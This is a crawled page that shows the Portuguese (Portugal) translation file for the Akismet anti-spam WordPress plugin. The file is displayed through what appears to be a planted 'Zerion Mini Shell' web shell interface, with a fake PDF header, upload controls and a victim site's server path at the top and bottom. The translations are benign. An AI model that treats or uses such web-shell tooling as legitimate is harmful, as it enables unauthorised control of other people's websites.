%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/vittashop.com.br/wp-content/languages/plugins/
Upload File :
Create Path :
Current File : /home/vacivi36/vittashop.com.br/wp-content/languages/plugins/akismet-pt_PT.po

# Translation of Plugins - Akismet Anti-spam: Spam Protection - Stable (latest release) in Portuguese (Portugal)
# This file is distributed under the same license as the Plugins - Akismet Anti-spam: Spam Protection - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2024-02-12 11:13:46+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: pt\n"
"Project-Id-Version: Plugins - Akismet Anti-spam: Spam Protection - Stable (latest release)\n"

#: views/notice.php:198
msgid "Akismet is now protecting your site from spam."
msgstr "O Akismet está agora a proteger o seu site contra spam."

#: views/config.php:304
msgid "Account overview"
msgstr "Visão geral da conta"

#: views/stats.php:11
msgid "Akismet detailed stats"
msgstr "Estatísticas detalhadas do Akismet"

#: views/stats.php:6
msgid "Back to settings"
msgstr "Voltar às opções"

#: views/config.php:268
msgid "Subscription type"
msgstr "Tipo de subscrição"

#: views/config.php:94 views/enter.php:9
msgid "API key"
msgstr "Chave de API"

#: views/config.php:44
msgid "Akismet stats"
msgstr "Estatísticas do Akismet"

#. translators: %1$s is a human-readable time difference, like "3 hours ago",
#. and %2$s is an already-translated phrase describing how a comment's status
#. changed, like "This comment was reported as spam."
#: class.akismet-admin.php:796
msgid "%1$s - %2$s"
msgstr "%1$s - %2$s"

#: views/get.php:17
msgid "(opens in a new tab)"
msgstr "(abre num novo separador)"

#. translators: The placeholder is the name of a subscription level, like
#. "Plus" or "Enterprise" .
#: views/notice.php:341
msgid "Upgrade to %s"
msgstr "Actualizar para %s"

#. translators: The placeholder is for showing how much of the process has
#. completed, as a percent. e.g., "Checking for Spam (40%)"
#: class.akismet-admin.php:481
msgid "Checking for Spam (%1$s%)"
msgstr "A verificar spam (%1$s%)"

#: class.akismet-admin.php:812
msgid "No comment history."
msgstr "Nenhum histórico de comentários."

#: class.akismet-admin.php:745
msgid "Akismet was unable to recheck this comment."
msgstr "Não foi possível ao Akismet verificar de novo este comentário."

#: class.akismet-admin.php:737
msgid "Akismet was unable to check this comment but will automatically retry later."
msgstr "Não foi possível ao Akismet verificar este comentário, será automaticamente verificado de novo mais tarde."

#. translators: The placeholder is a WordPress PHP function name.
#: class.akismet-admin.php:706
msgid "Comment was caught by %s."
msgstr "Comentário encontrado por %s."

#: class.akismet.php:956
msgid "Akismet is not configured. Please enter an API key."
msgstr "O Akismet não está configurado. Por favor insira uma chave de API."

#: views/enter.php:7
msgid "Enter your API key"
msgstr "Insira a sua chave de API"

#: views/connect-jp.php:92
msgid "Set up a different account"
msgstr "Configurar outra conta"

#: views/setup.php:2
msgid "Set up your Akismet account to enable spam filtering on this site."
msgstr "Configure a sua conta Akismet para activar a filtragem de spam neste site."

#: class.akismet-admin.php:1335
msgid "Akismet could not recheck your comments for spam."
msgstr "Não foi possível verificar de novo o spam dos seus comentários."

#: class.akismet-admin.php:514
msgid "You don’t have permission to do that."
msgstr "Não tem permissão para fazer isto."

#: class.akismet-cli.php:167
msgid "Stats response could not be decoded."
msgstr "Não foi possível descodificar o resultado das estatísticas."

#: class.akismet-cli.php:161
msgid "Currently unable to fetch stats. Please try again."
msgstr "Não foi possível obter as estatísticas. Por favor, tente de novo."

#: class.akismet-cli.php:135
msgid "API key must be set to fetch stats."
msgstr "Tem de definir a chave de API para obter estatísticas."

#: views/config.php:225
msgid "Do not display privacy notice."
msgstr "Não exibir o aviso de privacidade."

#: views/config.php:217
msgid "Display a privacy notice under your comment forms."
msgstr "Exibir um aviso de privacidade abaixo dos formulários de comentário."

#: views/config.php:211
msgid "Akismet privacy notice"
msgstr "Aviso de privacidade do Akismet"

#: views/config.php:206
msgid "Privacy"
msgstr "Privacidade"

#: class.akismet.php:467
msgid "Comment discarded."
msgstr "Comentário eliminado."

#: class.akismet-rest-api.php:206
msgid "This site's API key is hardcoded and cannot be deleted."
msgstr "A chave de API deste site está escrita directamente no código e não pode ser eliminada."

#: class.akismet-rest-api.php:190
msgid "The value provided is not a valid and registered API key."
msgstr "O valor fornecido não é uma chave de API registada e válida."

#: class.akismet-rest-api.php:184
msgid "This site's API key is hardcoded and cannot be changed via the API."
msgstr "A chave de API deste site está escrita directamente no código e não pode ser alterada via API."

#: class.akismet-rest-api.php:84 class.akismet-rest-api.php:97
msgid "The time period for which to retrieve stats. Options: 60-days, 6-months, all"
msgstr "O período para obtenção de estatísticas. Opções: 60-days, 6-months, all"

#: class.akismet-rest-api.php:65
msgid "If true, show the number of approved comments beside each comment author in the comments list page."
msgstr "Se verdadeiro, mostrar o número de comentários aprovados na lista de comentários, ao lado de cada autor do comentário."

#: class.akismet-rest-api.php:60
msgid "If true, Akismet will automatically discard the worst spam automatically rather than putting it in the spam folder."
msgstr "Se verdadeiro, o Akismet irá eliminar automaticamente o pior spam em vez de o mover para a pasta de spam."

#: class.akismet-rest-api.php:31 class.akismet-rest-api.php:122
#: class.akismet-rest-api.php:135 class.akismet-rest-api.php:148
msgid "A 12-character Akismet API key. Available at akismet.com/get/"
msgstr "Uma chave de API do Akismet com 12 caracteres. Disponível em akismet.com/get/"

#: views/notice.php:109
msgid "Your site can’t connect to the Akismet servers."
msgstr "O seu site não consegue ligar-se aos servidores do Akismet."

#. translators: %s is the wp-config.php file
#: views/predefined.php:7
msgid "An Akismet API key has been defined in the %s file for this site."
msgstr "Foi definida uma chave de API do Akismet no ficheiro %s deste site."

#: views/predefined.php:2
msgid "Manual Configuration"
msgstr "Configuração manual"

#: class.akismet-admin.php:275
msgid "On this page, you are able to update your Akismet settings and view spam stats."
msgstr "Nesta página poderá actualizar as suas definições do Akismet e ver estatísticas de spam."

#: class.akismet-admin.php:135 class.akismet-admin.php:137
msgid "Akismet Anti-spam"
msgstr "Akismet Anti-spam"

#: views/enter.php:10
msgid "Connect with API key"
msgstr "Ligar com chave de API"

#. translators: %s is the WordPress.com username
#: views/connect-jp.php:25 views/connect-jp.php:79
msgid "You are connected as %s."
msgstr "Está ligado como %s."

#: views/connect-jp.php:10 views/connect-jp.php:18 views/connect-jp.php:38
#: views/connect-jp.php:72 views/connect-jp.php:91
msgid "Connect with Jetpack"
msgstr "Ligar ao Jetpack"

#: views/connect-jp.php:12 views/connect-jp.php:32 views/connect-jp.php:67
msgid "Use your Jetpack connection to set up Akismet."
msgstr "Use a sua ligação ao Jetpack para configurar o Akismet."

#: views/title.php:2
msgid "Eliminate spam from your site"
msgstr "Eliminar spam do seu site"

#. translators: The placeholder is a URL for checking pending comments.
#: views/notice.php:205
msgid "Would you like to <a href=\"%s\">check pending comments</a>?"
msgstr "Gostaria de <a href=\"%s\">verificar comentários pendentes</a>?"

#: views/notice.php:25
msgid "Set up your Akismet account"
msgstr "Configure a sua conta Akismet"

#: views/config.php:36
msgid "Detailed stats"
msgstr "Estatísticas detalhadas"

#: views/config.php:31
msgid "Statistics"
msgstr "Estatísticas"

#: class.akismet-admin.php:1464
msgid "Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. It keeps your site protected even while you sleep. To get started, just go to <a href=\"admin.php?page=akismet-key-config\">your Akismet Settings page</a> to set up your API key."
msgstr "Usado por milhões, o Akismet é provavelmente a melhor maneira de <strong>proteger o seu site contra spam</strong>. Mantém o seu site protegido mesmo enquanto dorme. Para começar, vá à <a href=\"admin.php?page=akismet-key-config\">página de opções do Akismet</a> para configurar a sua chave de API."

#: class.akismet-admin.php:1462
msgid "Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. Your site is fully configured and being protected, even while you sleep."
msgstr "Usado por milhões, o Akismet é provavelmente a melhor maneira de <strong>proteger o seu site contra spam</strong>. O seu site está completamente configurado e protegido mesmo enquanto dorme."

#. translators: %s: Number of comments.
#: class.akismet-admin.php:1329
msgid "%s comment was caught as spam."
msgid_plural "%s comments were caught as spam."
msgstr[0] "%s comentário marcado como spam."
msgstr[1] "%s comentários marcados como spam."

#: class.akismet-admin.php:1326
msgid "No comments were caught as spam."
msgstr "Nenhum comentário marcado como spam."

#. translators: %s: Number of comments.
#: class.akismet-admin.php:1322
msgid "Akismet checked %s comment."
msgid_plural "Akismet checked %s comments."
msgstr[0] "O Akismet verificou %s comentário."
msgstr[1] "O Akismet verificou %s comentários."

#: class.akismet-admin.php:1319
msgid "There were no comments to check. Akismet will only check comments awaiting moderation."
msgstr "Não há comentários para verificar. O Akismet apenas verifica comentários pendentes."

#: class.akismet.php:962
msgid "Comment not found."
msgstr "Comentário não encontrado."

#. translators: %d: Number of comments.
#: class.akismet-cli.php:89
msgid "%d comment could not be checked."
msgid_plural "%d comments could not be checked."
msgstr[0] "Não foi possível verificar %d comentário."
msgstr[1] "Não foi possível verificar %d comentários."

#. translators: %d: Number of comments.
#: class.akismet-cli.php:85
msgid "%d comment moved to Spam."
msgid_plural "%d comments moved to Spam."
msgstr[0] "%d comentário movido para o spam."
msgstr[1] "%d comentários movidos para o spam."

#. translators: %d: Number of comments.
#: class.akismet-cli.php:82
msgid "Processed %d comment."
msgid_plural "Processed %d comments."
msgstr[0] "%d comentário processado."
msgstr[1] "%d comentários processados."

#. translators: %d: Comment ID.
#: class.akismet-cli.php:45
msgid "Comment #%d could not be checked."
msgstr "Não foi possível verificar o comentário #%d."

#. translators: %d: Comment ID.
#: class.akismet-cli.php:42
msgid "Failed to connect to Akismet."
msgstr "Falhou ao ligar a Akismet."

#. translators: %d: Comment ID.
#: class.akismet-cli.php:39
msgid "Comment #%d is not spam."
msgstr "O comentário #%d não é spam."

#. translators: %d: Comment ID.
#: class.akismet-cli.php:36
msgid "Comment #%d is spam."
msgstr "O comentário #%d é spam."

#. translators: %s: number of false positive spam flagged by Akismet
#: views/config.php:66
msgid "%s false positive"
msgid_plural "%s false positives"
msgstr[0] "%s falso positivo"
msgstr[1] "%s falsos positivos"

#. translators: %s: number of spam missed by Akismet
#: views/config.php:64
msgid "%s missed spam"
msgid_plural "%s missed spam"
msgstr[0] "%s falhou"
msgstr[1] "%s falharam"

#: views/notice.php:175
msgid "You don&#8217;t have an Akismet plan."
msgstr "Não tem um plano de Akismet."

#: views/notice.php:142
msgid "Your Akismet subscription is suspended."
msgstr "A vossa subscrição de Akismet foi suspensa."

#: views/notice.php:131
msgid "Your Akismet plan has been cancelled."
msgstr "O seu plano Akismet foi cancelado."

#. translators: The placeholder is a URL.
#: views/notice.php:124
msgid "We cannot process your payment. Please <a href=\"%s\" target=\"_blank\">update your payment details</a>."
msgstr "Não foi possível processar o seu pagamento. Por favor <a href=\"%s\" target=\"_blank\">actualize os seus dados de pagamento</a>."

#: views/notice.php:120
msgid "Please update your payment information."
msgstr "Por favor actualize os seus dados de pagamento."

#. translators: %s: Number of minutes.
#: class.akismet-admin.php:1229
msgid "Akismet has saved you %d minute!"
msgid_plural "Akismet has saved you %d minutes!"
msgstr[0] "O Akismet poupou-lhe %d minuto!"
msgstr[1] "O Akismet poupou-lhe %d minutos!"

#. translators: %s: Number of hours.
#: class.akismet-admin.php:1226
msgid "Akismet has saved you %d hour!"
msgid_plural "Akismet has saved you %d hours!"
msgstr[0] "O Akismet poupou-lhe %d hora!"
msgstr[1] "O Akismet poupou-lhe %d horas!"

#. translators: %s: Number of days.
#: class.akismet-admin.php:1223
msgid "Akismet has saved you %s day!"
msgid_plural "Akismet has saved you %s days!"
msgstr[0] "O Akismet poupou-lhe %s dia!"
msgstr[1] "O Akismet poupou-lhe %s dias!"

#: class.akismet-admin.php:224 class.akismet-admin.php:262
#: class.akismet-admin.php:274
msgid "Akismet filters out spam, so you can focus on more important things."
msgstr "O Akismet filtra o spam, para que se possa concentrar no que é mais importante."

#. translators: The placeholder is a URL.
#: views/notice.php:245
msgid "The connection to akismet.com could not be established. Please refer to <a href=\"%s\" target=\"_blank\">our guide about firewalls</a> and check your server configuration."
msgstr "Não foi possível estabelecer uma ligação com akismet.com. Por favor consulte o nosso <a href=\"%s\" target=\"_blank\">guia sobre firewalls</a> e verifique a configuração do seu servidor."

#: views/notice.php:239
msgid "The API key you entered could not be verified."
msgstr "Não foi possível verificar a chave de API que inseriu."

#: views/config.php:121
msgid "All systems functional."
msgstr "Todos os sistemas estão operacionais."

#: views/config.php:120
msgid "Enabled."
msgstr "Activado."

#: views/config.php:118
msgid "Akismet encountered a problem with a previous SSL request and disabled it temporarily. It will begin using SSL for requests again shortly."
msgstr "O Akismet teve um problema com um pedido SSL anterior e desactivou-o temporariamente. Recomeçará a usar pedidos SSL em breve."

#: views/config.php:117
msgid "Temporarily disabled."
msgstr "Temporariamente desactivado."

#: views/config.php:112
msgid "Your Web server cannot make SSL requests; contact your Web host and ask them to add support for SSL requests."
msgstr "O seu servidor não está configurado para fazer pedidos SSL; entre em contacto com o seu serviço de alojamento para que adicionem o suporte para pedidos SSL."

#: views/config.php:111
msgid "Disabled."
msgstr "Desactivado."

#: views/config.php:108
msgid "SSL status"
msgstr "Estado do SSL"

#: class.akismet-admin.php:723
msgid "This comment was reported as not spam."
msgstr "Este comentário foi reportado como não spam."

#: class.akismet-admin.php:715
msgid "This comment was reported as spam."
msgstr "Este comentário foi reportado como spam."

#. Author URI of the plugin
#: akismet.php
msgid "https://automattic.com/wordpress-plugins/"
msgstr "https://automattic.com/wordpress-plugins/"

#. Plugin URI of the plugin
#: akismet.php
msgid "https://akismet.com/"
msgstr "https://akismet.com/"

#: views/enter.php:2
msgid "Manually enter an API key"
msgstr "Insira manualmente uma chave de API"

#: views/connect-jp.php:53 views/notice.php:333
msgid "Contact Akismet support"
msgstr "Contactar o suporte do Akismet"

#: views/connect-jp.php:64
msgid "No worries! Get in touch and we&#8217;ll sort this out."
msgstr "Não se preocupe. Entre em contacto connosco para o ajudarmos a resolver a situação."

#. translators: %s is the WordPress.com email address
#: views/connect-jp.php:60
msgid "Your subscription for %s is suspended."
msgstr "A sua subscrição para %s está suspensa."

#. translators: %s is the WordPress.com email address
#: views/connect-jp.php:45
msgid "Your subscription for %s is cancelled."
msgstr "A sua subscrição para %s está cancelada."

#: views/notice.php:217
msgid "The key you entered is invalid. Please double-check it."
msgstr "A chave inserida é inválida. Por favor verifique de novo."

#: views/notice.php:164
msgid "There is a problem with your API key."
msgstr "Ocorreu um problema com a sua chave de API."

#. translators: the placeholder is a clickable URL to the Akismet account
#. upgrade page.
#: views/notice.php:157
msgid "You can help us fight spam and upgrade your account by <a href=\"%s\" target=\"_blank\">contributing a token amount</a>."
msgstr "Pode ajudar-nos a combater o spam e actualizar a sua subscrição <a href=\"%s\" target=\"_blank\">contribuindo com um montante simbólico</a>."

#. translators: The placeholder is a URL.
#. translators: The placeholder is a URL to the Akismet contact form.
#: views/notice.php:146 views/notice.php:168
msgid "Please contact <a href=\"%s\" target=\"_blank\">Akismet support</a> for assistance."
msgstr "Por favor contacte o <a href=\"%s\" target=\"_blank\">suporte do Akismet</a> para obter ajuda."

#. translators: The placeholder is a URL.
#: views/notice.php:135
msgid "Please visit your <a href=\"%s\" target=\"_blank\">Akismet account page</a> to reactivate your subscription."
msgstr "Por favor entre na sua <a href=\"%s\" target=\"_blank\">página da conta Akismet</a> para reactivar a sua subscrição."

#. translators: The placeholder is a URL.
#: views/notice.php:113
msgid "Your firewall may be blocking Akismet from connecting to its API. Please contact your host and refer to <a href=\"%s\" target=\"_blank\">our guide about firewalls</a>."
msgstr "A sua firewall pode estar a bloquear a ligação do Akismet à sua API . Por favor contacte o seu serviço de alojamento, indicando o nosso <a href=\"%s\" target=\"_blank\">guia sobre firewalls</a>."

#. translators: The placeholder is a URL.
#: views/notice.php:102
msgid "Your web host or server administrator has disabled PHP&#8217;s <code>gethostbynamel</code> function.  <strong>Akismet cannot work correctly until this is fixed.</strong>  Please contact your web host or firewall administrator and give them <a href=\"%s\" target=\"_blank\">this information about Akismet&#8217;s system requirements</a>."
msgstr "O seu serviço de alojamento ou o administrador do servidor desactivou a função de PHP <code>gethostbynamel</code>. <strong>O Akismet não funcionará correctamente enquanto isto não for corrigido</strong>. Por favor entre em contacto com o serviço de alojamento ou administrador e forneça-lhes esta <a href=\"%s\" target=\"_blank\">informação sobre os requisitos de sistema do Akismet</a>."

#: views/notice.php:98
msgid "Network functions are disabled."
msgstr "As funções de rede estão desactivadas."

#. translators: the placeholder is a clickable URL that leads to more
#. information regarding an error code.
#: views/notice.php:83
msgid "For more information: %s"
msgstr "Para mais informação: %s"

#. translators: The placeholder is an error code returned by Akismet.
#: views/notice.php:78
msgid "Akismet error code: %s"
msgstr "Código de erro Akismet: %s"

#: views/notice.php:37
msgid "Some comments have not yet been checked for spam by Akismet. They have been temporarily held for moderation and will automatically be rechecked later."
msgstr "Alguns comentários ainda não foram verificados pelo Akismet. Foram temporariamente marcados para moderação e serão verificados de novo mais tarde."

#: views/notice.php:36 views/notice.php:46
msgid "Akismet has detected a problem."
msgstr "O Akismet detectou um problema."

#: views/config.php:312
msgid "Change"
msgstr "Alterar"

#: views/config.php:312
msgid "Upgrade"
msgstr "Actualizar"

#: views/config.php:293
msgid "Next billing date"
msgstr "Próxima data de facturação"

#: views/config.php:286
msgid "Active"
msgstr "Activa"

#: views/config.php:284
msgid "No subscription found"
msgstr "Nenhuma subscrição encontrada"

#: views/config.php:282
msgid "Missing"
msgstr "Em falta"

#: views/config.php:280
msgid "Suspended"
msgstr "Suspensa"

#: views/config.php:278
msgid "Cancelled"
msgstr "Cancelada"

#: views/config.php:249
msgid "Save changes"
msgstr "Guardar alterações"

#: views/config.php:241
msgid "Disconnect this account"
msgstr "Desligar esta conta"

#: views/config.php:180
msgid "Note:"
msgstr "Nota:"

#: views/config.php:173
msgid "Always put spam in the Spam folder for review."
msgstr "Mover sempre o spam para uma pasta para moderação."

#: views/config.php:165
msgid "Silently discard the worst and most pervasive spam so I never see it."
msgstr "Eliminar silenciosamente o pior spam de modo a que eu nunca o veja."

#: views/config.php:146
msgid "Show the number of approved comments beside each comment author."
msgstr "Mostrar o número de comentários aprovados, ao lado de cada autor do comentário."

#: views/config.php:59
msgid "Accuracy"
msgstr "Precisão"

#: views/config.php:54
msgid "All time"
msgstr "Sempre"

#: views/config.php:51 views/config.php:56
msgid "Spam blocked"
msgid_plural "Spam blocked"
msgstr[0] "Spam bloqueado"
msgstr[1] "Spam bloqueado"

#: views/config.php:49
msgid "Past six months"
msgstr "Últimos seis meses"

#. translators: 1: WordPress documentation URL, 2: Akismet download URL.
#: class.akismet.php:1900
msgid "Please <a href=\"%1$s\">upgrade WordPress</a> to a current version, or <a href=\"%2$s\">downgrade to version 2.4 of the Akismet plugin</a>."
msgstr "Por favor <a href=\"%1$s\">actualize o WordPress</a> para a versão mais recente ou <a href=\"%2$s\">instale a versão 2.4 do plugin Akismet</a>."

#: class.akismet-admin.php:730
msgid "Akismet cleared this comment during an automatic retry."
msgstr "O Akismet limpou este comentário durante uma nova tentativa automática."

#: class.akismet-admin.php:727
msgid "Akismet caught this comment as spam during an automatic retry."
msgstr "O Akismet marcou este comentário como spam durante uma nova tentativa automática."

#. translators: The placeholder is a username.
#: class.akismet-admin.php:721
msgid "%s reported this comment as not spam."
msgstr "%s reportou este comentário como não spam."

#. translators: The placeholder is a username.
#: class.akismet-admin.php:713
msgid "%s reported this comment as spam."
msgstr "%s reportou este comentário como spam."

#. translators: %1$s is a username; %2$s is a short string (like 'spam' or
#. 'approved') denoting the new comment status.
#: class.akismet-admin.php:778
msgid "%1$s changed the comment status to %2$s."
msgstr "%1$s alterou o estado do comentário para %2$s."

#. translators: The placeholder is an error response returned by the API
#. server.
#: class.akismet-admin.php:735
msgid "Akismet was unable to check this comment (response: %s) but will automatically retry later."
msgstr "O Akismet não conseguiu verificar este comentário (resposta: %s), mas tentará de novo automaticamente mais tarde."

#: class.akismet-admin.php:697
msgid "Akismet cleared this comment."
msgstr "O Akismet limpou este comentário."

#. translators: The placeholder is a short string (like 'spam' or 'approved')
#. denoting the new comment status.
#: class.akismet-admin.php:772
msgid "Comment status was changed to %s"
msgstr "O estado do comentário foi alterado para %s"

#: class.akismet-admin.php:691
msgid "Akismet caught this comment as spam."
msgstr "O Akismet marcou este comentário como spam."

#. translators: The placeholder is the number of pieces of spam blocked by
#. Akismet.
#: class.akismet-widget.php:146
msgid "<strong class=\"count\">%1$s spam</strong> blocked by <strong>Akismet</strong>"
msgid_plural "<strong class=\"count\">%1$s spam</strong> blocked by <strong>Akismet</strong>"
msgstr[0] "<strong class=\"count\">%1$s comentário de spam</strong> bloqueado pelo <strong>Akismet</strong>"
msgstr[1] "<strong class=\"count\">%1$s comentários de spam</strong> bloqueados pelo <strong>Akismet</strong>"

#: class.akismet-widget.php:39
msgid "Title:"
msgstr "Título:"

#: class.akismet-widget.php:34 class.akismet-widget.php:69
msgid "Spam Blocked"
msgstr "Spam bloqueado"

#: class.akismet-widget.php:21
msgid "Display the number of spam comments Akismet has caught"
msgstr "Mostrar o número de comentários de spam encontrados pelo Akismet"

#: class.akismet-widget.php:20
msgid "Akismet Widget"
msgstr "Widget Akismet"

#: class.akismet-admin.php:1219
msgid "Cleaning up spam takes time."
msgstr "Limpar o spam demora tempo."

#. translators: The Akismet configuration page URL.
#: class.akismet-admin.php:1091
msgid "Please check your <a href=\"%s\">Akismet configuration</a> and contact your web host if problems persist."
msgstr "Por favor verifique a <a href=\"%s\">configuração do Akismet</a> e entre em contacto com o seu serviço de alojamento se continuar com problemas."

#. translators: The placeholder is an amount of time, like "7 seconds" or "3
#. days" returned by the function human_time_diff().
#: class.akismet-admin.php:792
msgid "%s ago"
msgstr "Há %s"

#. translators: %s: Number of comments.
#: class.akismet-admin.php:664
msgid "%s approved"
msgid_plural "%s approved"
msgstr[0] "%s aprovado"
msgstr[1] "%s aprovados"

#: class.akismet-admin.php:638
msgid "History"
msgstr "Histórico"

#: class.akismet-admin.php:638 class.akismet-admin.php:646
msgid "View comment history"
msgstr "Ver histórico de comentários"

#. translators: %s: Username.
#: class.akismet-admin.php:625
msgid "Un-spammed by %s"
msgstr "Desmarcado como spam por %s"

#. translators: %s: Username.
#: class.akismet-admin.php:622
msgid "Flagged as spam by %s"
msgstr "Marcado como spam por %s"

#: class.akismet-admin.php:616
msgid "Cleared by Akismet"
msgstr "Limpo pelo Akismet"

#: class.akismet-admin.php:614
msgid "Flagged as spam by Akismet"
msgstr "Marcado como spam pelo Akismet"

#: class.akismet-admin.php:610
msgid "Awaiting spam check"
msgstr "A aguardar verificação de spam"

#. translators: The placeholder is an error response returned by the API
#. server.
#: class.akismet-admin.php:743
msgid "Akismet was unable to recheck this comment (response: %s)."
msgstr "Não foi possível o Akismet verificar de novo comentário (resposta: %s)."

#: class.akismet-admin.php:694
msgid "Akismet re-checked and cleared this comment."
msgstr "O Akismet verificou de novo e limpou este comentário."

#: class.akismet-admin.php:688
msgid "Akismet re-checked and caught this comment as spam."
msgstr "O Akismet verificou de novo e marcou este comentário como spam."

#: class.akismet-admin.php:498
msgid "Check for Spam"
msgstr "Verificar spam"

#. translators: %s: Comments page URL.
#: class.akismet-admin.php:440
msgid "There&#8217;s nothing in your <a href='%s'>spam queue</a> at the moment."
msgstr "Não está nada na sua <a href='%s'>lista de spam</a> por enquanto."

#. translators: 1: Number of comments, 2: Comments page URL.
#: class.akismet-admin.php:429
msgid "There&#8217;s <a href=\"%2$s\">%1$s comment</a> in your spam queue right now."
msgid_plural "There are <a href=\"%2$s\">%1$s comments</a> in your spam queue right now."
msgstr[0] "Está <a href=\"%2$s\">%1$s comentário</a> na sua lista de moderação de spam neste momento."
msgstr[1] "Estão <a href=\"%2$s\">%1$s comentários</a> na sua lista de moderação de spam neste momento."

#. translators: %s: Akismet website URL.
#: class.akismet-admin.php:421
msgid "<a href=\"%s\">Akismet</a> blocks spam from getting to your blog. "
msgstr "O <a href=\"%s\">Akismet</a> impede o spam de chegar ao seu site."

#. translators: 1: Akismet website URL, 2: Number of spam comments.
#: class.akismet-admin.php:410
msgid "<a href=\"%1$s\">Akismet</a> has protected your site from %2$s spam comment already. "
msgid_plural "<a href=\"%1$s\">Akismet</a> has protected your site from %2$s spam comments already. "
msgstr[0] "O <a href=\"%1$s\">Akismet</a> já protegeu o seu site contra %2$s comentário de spam."
msgstr[1] "O <a href=\"%1$s\">Akismet</a> já protegeu o seu site contra %2$s comentários de spam."

#. translators: 1: Akismet website URL, 2: Comments page URL, 3: Number of spam
#. comments.
#: class.akismet-admin.php:393
msgid "<a href=\"%1$s\">Akismet</a> has protected your site from <a href=\"%2$s\">%3$s spam comment</a>."
msgid_plural "<a href=\"%1$s\">Akismet</a> has protected your site from <a href=\"%2$s\">%3$s spam comments</a>."
msgstr[0] "O <a href=\"%1$s\">Akismet</a> protegeu o seu site de <a href=\"%2$s\">%3$s comentário de spam.</a>."
msgstr[1] "O <a href=\"%1$s\">Akismet</a> protegeu o seu site de <a href=\"%2$s\">%3$s comentários de spam.</a>."

#: class.akismet-admin.php:389
msgctxt "comments"
msgid "Spam"
msgstr "Spam"

#: class.akismet-admin.php:316
msgid "Cheatin&#8217; uh?"
msgstr "Enganou-se?"

#: class.akismet-admin.php:310
msgid "Akismet Support"
msgstr "Suporte do Akismet"

#: class.akismet-admin.php:309
msgid "Akismet FAQ"
msgstr "FAQ do Akismet"

#: class.akismet-admin.php:308
msgid "For more information:"
msgstr "Para mais informações:"

#: class.akismet-admin.php:299
msgid "The subscription status - active, cancelled or suspended"
msgstr "Estado da subscrição - activo, cancelado ou suspenso."

#: class.akismet-admin.php:299 views/config.php:274
msgid "Status"
msgstr "Estado"

#: class.akismet-admin.php:298
msgid "The Akismet subscription plan"
msgstr "O plano de subscrição do Akismet"

#: class.akismet-admin.php:298
msgid "Subscription Type"
msgstr "Tipo de subscrição"

#: class.akismet-admin.php:295 views/config.php:260
msgid "Account"
msgstr "Conta"

#: class.akismet-admin.php:287
msgid "Choose to either discard the worst spam automatically or to always put all spam in spam folder."
msgstr "Escolha entre eliminar o pior spam automaticamente ou movê-lo para a pasta de spam."

#: class.akismet-admin.php:287
msgid "Strictness"
msgstr "Regras"

#: class.akismet-admin.php:286
msgid "Show the number of approved comments beside each comment author in the comments list page."
msgstr "Mostrar o número de comentários aprovados na lista de comentários, ao lado de cada autor do comentário."

#: class.akismet-admin.php:286 views/config.php:131
msgid "Comments"
msgstr "Comentários"

#: class.akismet-admin.php:285
msgid "Enter/remove an API key."
msgstr "Insira ou remova uma chave de API."

#: class.akismet-admin.php:285
msgid "API Key"
msgstr "Chave de API"

#: class.akismet-admin.php:273 class.akismet-admin.php:284
#: class.akismet-admin.php:297
msgid "Akismet Configuration"
msgstr "Configuração do Akismet"

#: class.akismet-admin.php:263
msgid "On this page, you are able to view stats on spam filtered on your site."
msgstr "Nesta página pode ver estatísticas de spam filtrado no seu site."

#: class.akismet-admin.php:261
msgid "Akismet Stats"
msgstr "Estatísticas Akismet"

#: class.akismet-admin.php:250
msgid "Click the Use this Key button."
msgstr "Clique no botão Usar esta chave."

#: class.akismet-admin.php:249
msgid "Copy and paste the API key into the text field."
msgstr "Copie e cole a chave de API no campo de texto."

#: class.akismet-admin.php:247
msgid "If you already have an API key"
msgstr "Se já tem uma chave de API "

#: class.akismet-admin.php:244
msgid "Enter an API Key"
msgstr "Insira uma chave de API"

#. translators: %s: a link to the signup page with the text 'Akismet.com'.
#: class.akismet-admin.php:237
msgid "Sign up for an account on %s to get an API Key."
msgstr "Registe-se no %s para obter uma chave de API."

#: class.akismet-admin.php:235
msgid "You need to enter an API key to activate the Akismet service on your site."
msgstr "Tem que inserir uma chave de API para activar o serviço do Akismet no seu site."

#: class.akismet-admin.php:232
msgid "New to Akismet"
msgstr "A começar com o Akismet"

#: class.akismet-admin.php:225
msgid "On this page, you are able to set up the Akismet plugin."
msgstr "Nesta página pode configurar o plugin Akismet."

#: class.akismet-admin.php:223 class.akismet-admin.php:234
#: class.akismet-admin.php:246
msgid "Akismet Setup"
msgstr "Configuração do Akismet"

#: class.akismet-admin.php:221 class.akismet-admin.php:259
#: class.akismet-admin.php:271
msgid "Overview"
msgstr "Visão geral"

#: class.akismet-admin.php:190
msgid "Re-adding..."
msgstr "A readicionar..."

#: class.akismet-admin.php:189
msgid "(undo)"
msgstr "(desfazer)"

#: class.akismet-admin.php:188
msgid "URL removed"
msgstr "URL removido"

#: class.akismet-admin.php:187
msgid "Removing..."
msgstr "A remover..."

#: class.akismet-admin.php:186
msgid "Remove this URL"
msgstr "Remover este URL"

#: class.akismet-admin.php:107 class.akismet-admin.php:1479
msgid "Akismet"
msgstr "Akismet"

#: class.akismet-admin.php:128 class.akismet-admin.php:282
#: class.akismet-admin.php:819 views/config.php:83
msgid "Settings"
msgstr "Opções"

#: class.akismet-admin.php:103
msgid "Comment History"
msgstr "Histórico de comentários"

Zerion Mini Shell 1.0